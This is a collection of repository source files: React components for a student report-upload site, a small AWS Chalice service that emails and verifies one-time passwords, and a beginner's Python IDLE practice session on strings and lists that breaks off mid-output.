"/src/components/ViewFile/index.jsx", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "import React from \"react\";\nimport axios from \"axios\";\nimport {\n Container,\n Col,\n Tab,\n Tabs,\n Form,\n Button,\n ListGroup,\n Breadcrumb\n} from \"react-bootstrap\";\nimport \"./style.css\";\nimport { FontAwesomeIcon } from '@fortawesome/react-fontawesome'\nimport { faDownload , faEdit} from '@fortawesome/free-solid-svg-icons'\n\nfunction ViewFile(props) {\n function takeData() {\n axios.get('https://localhost:44345/api/listreport',{\n headers: {\n \"Access-Control-Allow-Origin\": \"*\",\n \"Content-Type\": \"application/json\"\n }})\n .then(res =>{\n const reports = res.data\n console.log(reports)\n })\n };\n\n return (\n <div className='viewFile__bg'>\n <Container>\n <ListGroup >\n <ListGroup.Item className='viewFile__block'>\n <ListGroup.Item as='a' className='viewFile__content flex-2' href='/detail'>The report 1</ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content'><FontAwesomeIcon icon={faDownload} /></ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content'><FontAwesomeIcon icon={faEdit} /></ListGroup.Item>\n </ListGroup.Item>\n <ListGroup.Item className='viewFile__block'>\n <ListGroup.Item as='a' className='viewFile__content flex-2' href='#'>The report 2</ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content' ><FontAwesomeIcon icon={faDownload} /></ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content'><FontAwesomeIcon icon={faEdit} /></ListGroup.Item>\n </ListGroup.Item>\n <ListGroup.Item className='viewFile__block'>\n <ListGroup.Item as='a' className='viewFile__content flex-2' href='#'>The report 3</ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content'><FontAwesomeIcon icon={faDownload} /></ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content'><FontAwesomeIcon icon={faEdit} /></ListGroup.Item>\n </ListGroup.Item>\n <ListGroup.Item className='viewFile__block'>\n <ListGroup.Item as='a' className='viewFile__content flex-2' href='#'>The report 4</ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content'><FontAwesomeIcon icon={faDownload} /></ListGroup.Item>\n <ListGroup.Item as='a' className='viewFile__content'><FontAwesomeIcon icon={faEdit} /></ListGroup.Item>\n </ListGroup.Item>\n </ListGroup>\n <Button onClick={takeData}> Let Go </Button>\n </Container>\n </div>\n );\n}\n\nexport default ViewFile;\n" }, { "alpha_fraction": 0.4963866174221039, "alphanum_fraction": 0.49819332361221313, "avg_line_length": 35.900001525878906, "blob_id": "7591dcd6029a77c9c493178148fb8976397b7cef", "content_id": "05421aeea7f7b923a2a5fe53a8ba3f22a36e7149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2214, "license_type": "no_license", "max_line_length": 101, "num_lines": 60, "path": "/src/components/Major/index.jsx", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "import React from \"react\";\nimport { Card, Button, Container, Row, Col } from \"react-bootstrap\";\nimport LoginPage from \"../Login\";\nimport \"./style.css\";\n\nfunction Majors() {\n return (\n <div className=\"majors__bg\">\n <Container>\n <h2 className='title'>Faculty</h2>\n <Row>\n <Col>\n <Card className='major__box'>\n <Card.Body>\n <Card.Title className='major__title'>Business</Card.Title>\n <Card.Text className='major__content'>\n Some quick example text to build on the card title and make up\n the bulk of the card's content.\n </Card.Text>\n <Card.Link href=\"/upload\" target='_blank' className='major__button'>Apply</Card.Link>\n </Card.Body>\n </Card>\n </Col>\n {/* <Col>\n <Card className='major__box'>\n <Card.Body >\n <Card.Title className='major__title'>Graphic Design</Card.Title>\n <Card.Subtitle className=\"mb-2 text-muted\">\n Deadline:\n </Card.Subtitle>\n <Card.Text className='major__content'>\n Some quick example text to build on the card title and make up\n the bulk of the card's content.\n </Card.Text>\n <Card.Link href=\"#\" className='major__button'>Apply</Card.Link>\n </Card.Body>\n </Card>\n </Col>\n <Col>\n <Card className='major__box'>\n <Card.Body >\n <Card.Title className='major__title'>Information Technology</Card.Title>\n <Card.Subtitle className=\"mb-2 text-muted\">\n Deadline:\n </Card.Subtitle>\n <Card.Text className='major__content'>\n Some quick example text to build on the card title and make up\n the bulk of the card's content.\n </Card.Text>\n <Card.Link href=\"#\" className='major__button'>Apply</Card.Link>\n </Card.Body>\n </Card>\n </Col> */}\n </Row>\n </Container>\n </div>\n );\n}\n\nexport default Majors;\n" }, { "alpha_fraction": 0.49817442893981934, "alphanum_fraction": 0.5002028346061707, "avg_line_length": 29.432098388671875, "blob_id": "2b2a0d56af27393582c87d214f8632c0237a30d5", "content_id": "7ec825139300c2e9aaf0ca7731706c84b0055407", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2465, "license_type": "no_license", "max_line_length": 104, "num_lines": 81, "path": "/src/components/UploadFile/index.jsx", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "import React from \"react\";\nimport { Container, Col, Tab, Tabs, Form, Button, FormControl } from \"react-bootstrap\";\nimport \"./style.css\";\nimport { useState } from \"react\";\nimport ViewFile from \"../ViewFile\";\n\nfunction UploadFile() {\n const [validated, setValidated] = useState(false);\n\n const handleSubmit = (event) => {\n const form = event.currentTarget;\n if (form.checkValidity() === false) {\n event.preventDefault();\n event.stopPropagation();\n }\n\n setValidated(true);\n };\n\n return (\n <div className=\"upload__bg\">\n <Container>\n <Tabs defaultActiveKey=\"View\" className='upload__item'>\n <Tab eventKey=\"View\" title=\"View Post\">\n <ViewFile></ViewFile>\n </Tab>\n <Tab eventKey=\"Upload\" title=\"Upload File\" >\n <Form\n noValidate\n validated={validated}\n onSubmit={handleSubmit}\n className=\"upload__form\"\n >\n <Form.Label>\n <h2 className=\"upload__title\">Upload your File</h2>\n </Form.Label>\n <Form.Row>\n <Form.Group as={Col} controlId=\"validationCustom01\">\n <Form.Control\n type=\"text\"\n md=\"4\"\n placeholder=\"Title\"\n required\n className=\"upload__field help-block\"\n \n />\n <FormControl.Feedback type='invalid'>Please fill in the blanks!</FormControl.Feedback>\n\n </Form.Group>\n \n </Form.Row>\n\n <Form.Row>\n <Form.Group as={Col} >\n <Form.Control as=\"textarea\" placeholder=\"Detail\" className=\"upload__field\" required />\n <FormControl.Feedback type='invalid'>Please fill in the blanks!</FormControl.Feedback>\n\n </Form.Group>\n </Form.Row>\n\n {/* <Form.Row>\n <Form.Group as={Col}>\n <Form.File className=\"upload__field\" required/>\n <FormControl.Feedback type='invalid'>Please fill in the blanks!</FormControl.Feedback>\n\n </Form.Group>\n </Form.Row> */}\n\n <Button className='upload__btn' type=\"submit\">\n Submit\n </Button>\n </Form>\n </Tab>\n \n </Tabs>\n </Container>\n </div>\n );\n}\n\nexport default UploadFile;\n" }, { "alpha_fraction": 0.573416531085968, "alphanum_fraction": 0.5738963484764099, "avg_line_length": 27.16216278076172, "blob_id": "f0b4f106df0972b8c38427e033b804cea04b12fd", "content_id": "498927efa69745c7355df966a17c97ab9408e02e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2084, "license_type": "no_license", "max_line_length": 66, "num_lines": 74, "path": "/src/App.js", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "import \"bootstrap/dist/css/bootstrap.min.css\";\nimport \"./App.css\";\nimport {useState} from 'react';\nimport LoginPage from \"./components/Login\";\nimport NavBar from \"./components/Nav\";\nimport Slider from \"./components/BackgroundSlider\";\nimport Majors from \"./components/Major\";\nimport Honor from \"./components/WallHonor\";\nimport Footer from \"./components/Footer\";\nimport UploadFile from \"./components/UploadFile\";\nimport { BrowserRouter as Router, Route } from \"react-router-dom\";\nimport ViewFile from \"./components/ViewFile\";\nimport DetailReport from \"./components/Detail\";\nimport CommentFunc from './components/Comment';\nimport TodoList from './components/TodoList';\nimport AdminPage from \"./components/Admin\";\nimport CreateUser from \"./components/CreateUser\";\n\nfunction App() {\n // const [todoList, setTodoList] = useState([]);\n\n // function handleTodoFormSubmit(formValues) {\n // console.log('Form Submit:', formValues)\n\n // // add new todo current tod list\n // const newTodo = {\n // id: todoList.length + 1,\n // ...formValues,\n // }\n // const newTodoList = [...todoList];\n // newTodoList.push(newTodo);\n // setTodoList(newTodoList);\n // }\n return (\n <div className=\"App\">\n <Router>\n <Route exact path=\"/\">\n <NavBar />\n <Slider />\n <Majors />\n <Honor />\n <Footer />\n </Route>\n <Route path=\"/login\">\n <LoginPage />\n </Route>\n <Route path=\"/upload\">\n <NavBar />\n <UploadFile />\n <Footer />\n </Route>\n <Route path=\"/detail\">\n <NavBar />\n <DetailReport />\n {/* <CommentFunc onSubmit={handleTodoFormSubmit} />\n <TodoList todos={todoList}></TodoList> */}\n <Footer />\n </Route>\n <Route path='/admin'>\n <NavBar />\n <AdminPage />\n <Footer />\n </Route>\n <Route path='/createUser'>\n <NavBar />\n <CreateUser />\n <Footer />\n </Route>\n </Router>\n </div>\n );\n}\n\nexport default App;\n" }, { "alpha_fraction": 0.470541387796402, "alphanum_fraction": 0.47133758664131165, "avg_line_length": 30.399999618530273, "blob_id": "fb94cddf51cb757d4ddf9720545a25fb608aa434", "content_id": "c7ae842cc67e0cb8cebc039c1ddb050e66e1bfa8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2512, "license_type": "no_license", "max_line_length": 80, "num_lines": 80, "path": "/src/components/Admin/index.jsx", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "import React from \"react\";\nimport {\n Container,\n Card,\n InputGroup,\n Col,\n Row,\n Button,\n FormControl,\n Image,\n} from \"react-bootstrap\";\nimport EditTitle from '../EditTitle';\nimport \"./style.css\";\n\nfunction AdminPage(props) {\n return (\n <div className='Admin__bg'>\n <Container>\n <h2 className='Admin__title'>List of report</h2>\n <Row>\n \n <Col>\n <Card>\n <Card.Body>\n <Card.Title>Business</Card.Title>\n <Card.Text>\n Some quick example text to build on the card title and make up\n the bulk of the card's content.\n </Card.Text>\n <Card.Link href=\"/detail\" target='_blank'>Read more</Card.Link>\n <Card.Link href=\"#\"><EditTitle></EditTitle></Card.Link>\n </Card.Body>\n </Card>\n </Col>\n <Col>\n <Card>\n <Card.Body>\n <Card.Title>Business</Card.Title>\n <Card.Text>\n Some quick example text to build on the card title and make up\n the bulk of the card's content.\n </Card.Text>\n <Card.Link href=\"/detail\" target='_blank'>Read more</Card.Link>\n <Card.Link href=\"#\"><EditTitle></EditTitle></Card.Link>\n </Card.Body>\n </Card>\n </Col>\n <Col>\n <Card>\n <Card.Body>\n <Card.Title>Business</Card.Title>\n <Card.Text>\n Some quick example text to build on the card title and make up\n the bulk of the card's content.\n </Card.Text>\n <Card.Link href=\"/detail\" target='_blank'>Read more</Card.Link>\n <Card.Link href=\"#\"><EditTitle></EditTitle></Card.Link>\n </Card.Body>\n </Card>\n </Col>\n <Col>\n <Card>\n <Card.Body>\n <Card.Title>Business</Card.Title>\n <Card.Text>\n Some quick example text to build on the card title and make up\n the bulk of the card's content.\n </Card.Text>\n <Card.Link href=\"/detail\" target='_blank'>Read more</Card.Link>\n <Card.Link href=\"#\"><EditTitle></EditTitle></Card.Link>\n </Card.Body>\n </Card>\n </Col>\n </Row>\n </Container>\n </div>\n );\n}\n\nexport default AdminPage;\n" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.8399999737739563, "avg_line_length": 24, "blob_id": "c01a3f2c86cf83b30495fc4dda83fde6077c651f", "content_id": "a959d42f699d5cdd8cf829fd7f05d9b860d5bf5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 50, "license_type": "no_license", "max_line_length": 25, "num_lines": 2, "path": "/README.md", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "# GreenEdu_Group1_TCS2007\nGreenEdu_Group1_TCS2007\n" }, { "alpha_fraction": 0.5700352191925049, "alphanum_fraction": 0.5787049531936646, "avg_line_length": 44.567901611328125, "blob_id": "8841d979fab7ec5abe2e1311450c7ffba7535b2c", "content_id": "aa6c23ad60b89565b406df3500180ee103d378bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3691, "license_type": "no_license", "max_line_length": 80, "num_lines": 81, "path": "/src/components/Detail/index.jsx", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "import React from \"react\";\nimport {\n Container,\n Card,\n InputGroup,\n Col,\n Row,\n Button,\n FormControl,\n Image,\n} from \"react-bootstrap\";\nimport \"./style.css\";\nimport userIcon from \"../../Image/Icon-user.jpg\";\nimport EditContent from \"../EditContent\";\nimport AddImage from \"../UploadImage\";\n\nfunction DetailReport(props) {\n return (\n <div className=\"Detail__bg\">\n <Container>\n <Row>\n <Col>\n <Card className=\"text-center\">\n <Card.Header className=\"Detail__title\">The Report 1</Card.Header>\n <Card.Body>\n <Card.Text>\n Lorem Ipsum is simply dummy text of the printing and\n typesetting industry. Lorem Ipsum has been the industry's\n standard dummy text ever since the 1500s, when an unknown\n printer took a galley of type and scrambled it to make a type\n specimen book. It has survived not only five centuries, but\n also the leap into electronic typesetting, remaining\n essentially unchanged. It was popularised in the 1960s with\n the release of Letraset sheets containing Lorem Ipsum\n passages, and more recently with desktop publishing software\n like Aldus PageMaker including versions of Lorem Ipsum. Why do\n we use it? It is a long established fact that a reader will be\n distracted by the readable content of a page when looking at\n its layout. The point of using Lorem Ipsum is that it has a\n more-or-less normal distribution of letters, as opposed to\n using 'Content here, content here', making it look like\n readable English. Many desktop publishing packages and web\n page editors now use Lorem Ipsum as their default model text,\n and a search for 'lorem ipsum' will uncover many web sites\n still in their infancy. Various versions have evolved over the\n years, sometimes by accident, sometimes on purpose (injected\n humour and the like). Where does it come from? Contrary to\n popular belief, Lorem Ipsum is not simply random text. It has\n roots in a piece of classical Latin literature from 45 BC,\n making it over 2000 years old. Richard McClintock, a Latin\n professor at Hampden-Sydney College in Virginia, looked up one\n of the more obscure Latin words, consectetur, from a Lorem\n Ipsum passage, and going through the cites of the word in\n classical literature, discovered the undoubtable source. Lorem\n Ipsum comes from sections 1.10.32 and 1.10.33 of \"de Finibus\n Bonorum et Malorum\" (The Extremes of Good and Evil) by Cicero,\n written in 45 BC. This book is a treatise on the theory of\n ethics, very popular during the Renaissance. The first line of\n Lorem Ipsum, \"Lorem ipsum dolor sit amet..\", comes from a line\n in section 1.10.32.\n </Card.Text>\n </Card.Body>\n <Card.Footer className=\"Detail__cmt-block\">\n <a className=\"Detail__cmt-btn\">\n <EditContent></EditContent>\n </a>\n <a className=\"Detail__cmt-btn\">\n <AddImage></AddImage>\n </a>\n </Card.Footer>\n </Card>\n </Col>\n </Row>\n\n \n </Container>\n </div>\n );\n}\n\nexport default DetailReport;\n" } ]
8
vbalasu/email-authentication
https://github.com/vbalasu/email-authentication
b2fa83ebb43396173a8f1bb6906a40996da1942e
fb18333e488caa01f0b832428c4590ff9a9ffba9
d7e1fe8bf9edb3e1836d282a2bd4f6c80c768886
refs/heads/main
2023-06-21T19:09:53.292480
2021-07-02T18:14:51
2021-07-02T18:14:51
382,200,037
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7797695398330688, "alphanum_fraction": 0.7797695398330688, "avg_line_length": 40.157894134521484, "blob_id": "b81bea50574c43bc79ae4497591f372e0f2f68c2", "content_id": "bdd982c04a1768f21b5990837fdf8dd9f375ec19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 781, "license_type": "no_license", "max_line_length": 125, "num_lines": 19, "path": "/README.md", "repo_name": "vbalasu/email-authentication", "src_encoding": "UTF-8", "text": "# email-authentication\n\n`email-authentication` is a web service that generates one-time passwords (OTP) and sends them to a specified email address.\n\nThis is live at [https://email-authentication.cloudmatica.com](https://email-authentication.cloudmatica.com)\n\nInput\n- email address [required], callback url [optional]\n\nOutput\n- Email sent to address from [email protected], with OTP in the body. Sent as a link if callback URL is provided\n\nProcess\n- System generates a uuid to serve as the OTP. The generated OTP is stored for later verification\n- Client calls /verify endpoint with email and OTP. The service responds with true/false indicating successful authentication\n\nInterface\n- /generate/{email} - returns true if email is sent\n- /verify/{email}/{OTP} - returns true if OTP is correct" }, { "alpha_fraction": 0.5521582961082458, "alphanum_fraction": 0.5593525171279907, "avg_line_length": 30.323944091796875, "blob_id": "7285cee3c5c36a96ad24c2e1f38b9ba87c2ebf9c", "content_id": "c4f26ad4a0c003c02a515e9d8ddc8b87607098df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2224, "license_type": "no_license", "max_line_length": 121, "num_lines": 71, "path": "/app.py", "repo_name": "vbalasu/email-authentication", "src_encoding": "UTF-8", "text": "from chalice import Chalice\n\napp = Chalice(app_name='email-authentication')\n\n\[email protected]('/generate/{email}', cors=True)\ndef generate(email):\n import boto3, uuid\n from botocore.exceptions import ClientError\n SENDER = \"Cloudmatica Auth <[email protected]>\"\n RECIPIENT = email\n SUBJECT = \"Your One-Time Password (OTP)\"\n AWS_REGION = \"us-east-1\"\n otp = str(uuid.uuid4())\n BODY_TEXT = f\"Your one-time password (OTP) is {otp}\"\n CHARSET = \"UTF-8\"\n client = boto3.client('ses',region_name=AWS_REGION)\n s3 = boto3.client('s3', region_name=AWS_REGION)\n try:\n response = client.send_email(\n Destination={\n 'ToAddresses': [ RECIPIENT ]\n },\n Message={\n 'Body': {\n 'Text': {\n 'Charset': CHARSET,\n 'Data': BODY_TEXT\n }\n },\n 'Subject': {\n 'Charset': CHARSET,\n 'Data': SUBJECT\n }\n },\n Source=SENDER,\n )\n s3.put_object(Body=bytes(otp, 'utf-8'), Bucket='cloudmatica', Key=f'email-authentication/{email}')\n except ClientError as e:\n print(e.response['Error']['Message'])\n return False\n else:\n print(\"Email sent! Message ID: \", response['MessageId'])\n return True\n\[email protected]('/verify/{email}/{otp}', cors=True)\ndef verify(email, otp):\n import boto3\n s3 = boto3.client('s3')\n return s3.get_object(Bucket='cloudmatica', Key=f'email-authentication/{email}')['Body'].read().decode('utf-8') == otp\n\n\n# The view function above will return {\"hello\": \"world\"}\n# whenever you make an HTTP GET request to '/'.\n#\n# Here are a few more examples:\n#\n# @app.route('/hello/{name}')\n# def hello_name(name):\n# # '/hello/james' -> {\"hello\": \"james\"}\n# return {'hello': name}\n#\n# @app.route('/users', methods=['POST'])\n# def create_user():\n# # This is the JSON body the user sent in their POST request.\n# user_as_json = app.current_request.json_body\n# # We'll echo the json body back to the user in a 'user' key.\n# return {'user': user_as_json}\n#\n# See the README documentation for more examples.\n#\n" }, { "alpha_fraction": 0.6697080135345459, "alphanum_fraction": 0.7226277589797974, "avg_line_length": 35.599998474121094, "blob_id": "bb6f1d5fd1de052ff182151a4d929d60059c605b", "content_id": "eafaa4a40b0d3fb2bcf2a2b0173d1fd5f4e97834", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 548, "license_type": "no_license", "max_line_length": 96, "num_lines": 15, "path": "/tests/test_app.py", "repo_name": "vbalasu/email-authentication", "src_encoding": "UTF-8", "text": "import app\nfrom chalice.test import Client\n\ndef test_generate():\n with Client(app.app) as client:\n response = client.http.get('/generate/[email protected]')\n assert response.status_code == 200\n assert response.json_body == True\n\n# Compare the OTP value to `aws s3 cp s3://cloudmatica/email-authentication/[email protected] -`\ndef test_verify():\n with Client(app.app) as client:\n response = client.http.get('/verify/[email protected]/6e600f3d-d487-4505-88c5-9b1b6dee8f90')\n assert response.status_code == 200\n assert response.json_body == True" }, { "alpha_fraction": 0.849056601524353, "alphanum_fraction": 0.849056601524353, "avg_line_length": 25.5, "blob_id": "806a53fd058653a19d66f7ca4ef04e9eb6d911c0", "content_id": "bd48983264d0a3dd59414cf7ffa71dc9f8941f6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 53, "license_type": "no_license", "max_line_length": 32, "num_lines": 2, "path": "/deploy.sh", "repo_name": "vbalasu/email-authentication", "src_encoding": "UTF-8", "text": "export AWS_PROFILE=vbalasu_admin\ntime chalice deploy\n" } ]
4
chadapple/directions
https://github.com/chadapple/directions
b2192570b09f25c23eb7fa498fff7245fc25556f
dc3982771bd4b95e0f843310074a23963a991c68
7284eccadfd20e7a2985b4eabbc0901409d27a67
refs/heads/master
2021-01-20T06:07:50.760962
2018-01-26T14:07:11
2018-01-26T14:07:11
101,485,400
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.664945125579834, "alphanum_fraction": 0.6781794428825378, "avg_line_length": 33.0439567565918, "blob_id": "57ccc7bd8808668f0a42f18c94c17a2aabc14b37", "content_id": "c04a95a5f0613b12f9eccf2c7f0755a954a49437", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3098, "license_type": "no_license", "max_line_length": 99, "num_lines": 91, "path": "/updateTripDetails.py", "repo_name": "chadapple/directions", "src_encoding": "UTF-8", "text": "import sys\nimport os\nimport gspread\nimport googlemaps\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\nfrom datetime import datetime\nfrom datetime import timedelta\n\nGMAPS_API_KEY_FILE='gmaps_api.key'\nSCOPES = ['https://spreadsheets.google.com/feeds', 'https://www.googleapis.com/auth/drive']\nCLIENT_SECRET_FILE = 'client_secret.json'\nAPPLICATION_NAME = 'RoadTrip'\nWORKBOOK_NAME = 'West Coast Trip Days'\nSHEET_NAME ='TripDay2Day'\n\ndef get_credentials():\n \"\"\"Gets valid user credentials from storage.\n If nothing has been stored, or if the stored credentials are invalid,\n the OAuth2 flow is completed to obtain the new credentials.\n Returns:\n Credentials, the obtained credential.\n \"\"\"\n home_dir = os.path.expanduser('~')\n credential_dir = os.path.join(home_dir, '.credentials')\n if not os.path.exists(credential_dir):\n os.makedirs(credential_dir)\n credential_path = os.path.join(credential_dir,\n 'sheets.googleapis.roadtrip.json')\n\n store = Storage(credential_path)\n credentials = store.get()\n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\n flow.user_agent = APPLICATION_NAME\n credentials = tools.run_flow(flow, store)\n return credentials\n\n\ndef getSpreadsheet(wbName, shName):\n creds = get_credentials()\n clientAuth = gspread.authorize(creds)\n wb = clientAuth.open(wbName)\n return wb.worksheet(shName)\n\ndef getTripDetails(gmaps,A,B):\n directions_result = gmaps.directions(A,B,departure_time=datetime.now())\n duration=0\n distance=0\n for leg in directions_result[0]['legs']:\n duration += leg['duration']['value']\n distance += leg['distance']['value']\n return duration,distance\n\ndef main(argv):\n fo = open(GMAPS_API_KEY_FILE)\n gkey = fo.readline()\n gkey = gkey.split(\"\\n\")[0]\n gmaps = googlemaps.Client(key=gkey)\n sh = getSpreadsheet(WORKBOOK_NAME,SHEET_NAME)\n records = sh.get_all_records()\n origin = None\n departureDay = None\n rowDest=1\n rowOrigin=1\n for rec in records:\n rowDest += 1\n if(rec['Address'] != ''):\n if(origin == None):\n departureDay = datetime.strptime(rec['Leave'],'%m/%d/%y')\n rowOrigin=rowDest\n else:\n segmentTime, segmentDistance = getTripDetails(gmaps,origin,rec['Address'])\n m, s = divmod(segmentTime, 60)\n h, m = divmod(m, 60)\n formattedTime = \"%d hours, %02d minutes\" % (h, m)\n formattedDist = \"%d\" % int(round(segmentDistance*0.00062137119223733))\n print \"%s => %s => %s\" % (departureDay.strftime('%m/%d/%y'), formattedTime, rec['Address'])\n sys.stdout.flush()\n sh.update_cell(rowOrigin, 6, formattedTime)\n sh.update_cell(rowOrigin, 7, formattedDist)\n rowOrigin=rowDest\n sh.update_cell(rowDest, 4, departureDay.strftime('%m/%d/%y'))\n if(rec['Days Stay'] != 'N/A'):\n departureDay += timedelta(days=rec['Days Stay'])\n sh.update_cell(rowDest, 5, departureDay.strftime('%m/%d/%y'))\n origin=rec['Address']\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n" } ]
1
Rock-wu1/learning-python
https://github.com/Rock-wu1/learning-python
9b03ebb7d277699f583c8de646dd8f52e98eb436
2ea55cafcb18e6b206b4ea15da6b625d8dc50273
9a86697413e7c654613b968ff4056bbba4cec78b
refs/heads/master
2020-11-27T15:33:28.922809
2019-12-25T13:30:00
2019-12-25T13:30:00
229,513,403
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.501323938369751, "alphanum_fraction": 0.6407766938209534, "avg_line_length": 17.883333206176758, "blob_id": "858ba826da2d9ba0ee1aa6e43678b8ce4c0e0c4a", "content_id": "28283e805e91b9a53dd829ee0e7e8fbe69b59203", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1145, "license_type": "no_license", "max_line_length": 94, "num_lines": 60, "path": "/Chapter 1/calculate.py", "repo_name": "Rock-wu1/learning-python", "src_encoding": "UTF-8", "text": "Python 3.8.1 (tags/v3.8.1:1b293b6, Dec 18 2019, 22:39:24) [MSC v.1916 32 bit (Intel)] on win32\nType \"help\", \"copyright\", \"credits\" or \"license()\" for more information.\n>>> 8*3.57\n28.56\n>>> \n>>> \n>>> \n>>> 10*365\n3650\n>>> 20+3650\n3670\n>>> 3*52\n156\n>>> 3670—156\nSyntaxError: invalid character in identifier\n>>> 3670 — 156\nSyntaxError: invalid character in identifier\n>>> 3670-156\n3514\n>>> 100/20\n5.0\n>>> 5+30*20\n605\n>>> \n>>> \n>>> (5+30)*20\nSyntaxError: invalid character in identifier\n>>> ( 5 + 30 )* 20\nSyntaxError: invalid character in identifier\n>>> fred = 100\n>>> print(fred)\n100\n>>> SyntaxError: invalid character in identifier\nSyntaxError: invalid syntax\n>>> \n>>> \n>>> \n>>> fred = 100\n>>> print(fred)\n100\n>>> fred = 200\n>>> print(fred)\n200\n>>> print(fred)\n200\n>>> john = fred\n>>> print(john)\n200\n>>> numbers_of_coins = 200\n>>> print(number_of_coins)\nTraceback (most recent call last):\n File \"<pyshell#30>\", line 1, in <module>\n print(number_of_coins)\nNameError: name 'number_of_coins' is not defined\n>>> found_coins = 20\n>>> magic_coins = 10\n>>> stolen_coins = 3\n>>> found_coins + magic_coins * 365 - stolen_coins*52\n3514\n>>> " }, { "alpha_fraction": 0.5415694117546082, "alphanum_fraction": 0.6004668474197388, "avg_line_length": 28.62234115600586, "blob_id": "2cbd74e08cbf3019f093f675fda317ffcc4df688", "content_id": "11d89639a892a5a096bfd6371019cd268584e5a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5569, "license_type": "no_license", "max_line_length": 230, "num_lines": 188, "path": "/Chapter 1/Strings, Lists, Tuples, And Map.py", "repo_name": "Rock-wu1/learning-python", "src_encoding": "UTF-8", "text": "Python 3.8.1 (tags/v3.8.1:1b293b6, Dec 18 2019, 22:39:24) [MSC v.1916 32 bit (Intel)] on win32\nType \"help\", \"copyright\", \"credits\" or \"license()\" for more information.\n>>> \n>>> fred = 'how do dinosours pay their bills?\nSyntaxError: EOL while scanning string literal\n>>> fred = '''how do dinosours pay their bills?\nwith tyrannosaurus checks'''\n>>> print(fred)\nhow do dinosours pay their bills?\nwith tyrannosaurus checks\n>>> silly_string = 'he said, aren't can't should't wouldn't.\"'\nSyntaxError: invalid syntax\n>>> silly_string = 'he said, \"aren't can't should't wouldn't.\"'\nSyntaxError: invalid syntax\n>>> silly_string = ''he said'\nSyntaxError: invalid syntax\n>>> silly_string = ''' he said,\naren't\ncan't\nshould't\nwouldn't'''\n>>> print(sillt_string)\nTraceback (most recent call last):\n File \"<pyshell#17>\", line 1, in <module>\n print(sillt_string)\nNameError: name 'sillt_string' is not defined\n>>> print(silly_string)\n he said,\naren't\ncan't\nshould't\nwouldn't\n>>> silly_string = ''' he said, aren't can't should't wouldn't'''\n>>> print(silly_strint)\nTraceback (most recent call last):\n File \"<pyshell#20>\", line 1, in <module>\n print(silly_strint)\nNameError: name 'silly_strint' is not defined\n>>> print(silly_string)\n he said, aren't can't should't wouldn't\n>>> print(1000 * 'snsnirt\n \nSyntaxError: EOL while scanning string literal\n>>> print(1000 * 'snirt')\n\n>>> Rock = 'handsome'\n>>> print(Rock)\nhandsome\n>>> Rock.append('smart')\nTraceback (most recent call last):\n File \"<pyshell#26>\", line 1, in <module>\n Rock.append('smart')\nAttributeError: 'str' object has no attribute 'append'\n>>> Rock.__add__(smart)\nTraceback (most recent call last):\n File \"<pyshell#27>\", line 1, in <module>\n Rock.__add__(smart)\nNameError: name 'smart' is not defined\n>>> Rock.__add__('smart')\n'handsomesmart'\n>>> Rock.__add__(' smart')\n'handsome smart'\n>>> Rock.__add__(' idot')\n'handsome idot'\n>>> del Rock[1]\nTraceback (most recent call last):\n File \"<pyshell#31>\", line 1, in <module>\n del Rock[1]\nTypeError: 'str' object doesn't support item deletion\n>>> Rock = ['handsome', 'smart']\n>>> print(Rock)\n['handsome', 'smart']\n>>> Rock.__add__(' idot')\nTraceback (most recent call last):\n File \"<pyshell#34>\", line 1, in <module>\n Rock.__add__(' idot')\nTypeError: can only concatenate list (not \"str\") to list\n>>> Rock.append('idot')\n>>> print(Rock)\n['handsome', 'smart', 'idot']\n>>> del Rock[2]\n>>> print(Rock)\n['handsome', 'smart']\n>>> list1 = [1,2,3,4]\n>>> list2 = ['Rock', 'is', 'very', 'handsome']\n>>> print(list1 + list2)\n[1, 2, 3, 4, 'Rock', 'is', 'very', 'handsome']\n>>> list3 = list1 + list2\n>>> print(list3)\n[1, 2, 3, 4, 'Rock', 'is', 'very', 'handsome']\n>>> print(list3 * 5)\n[1, 2, 3, 4, 'Rock', 'is', 'very', 'handsome', 1, 2, 3, 4, 'Rock', 'is', 'very', 'handsome', 1, 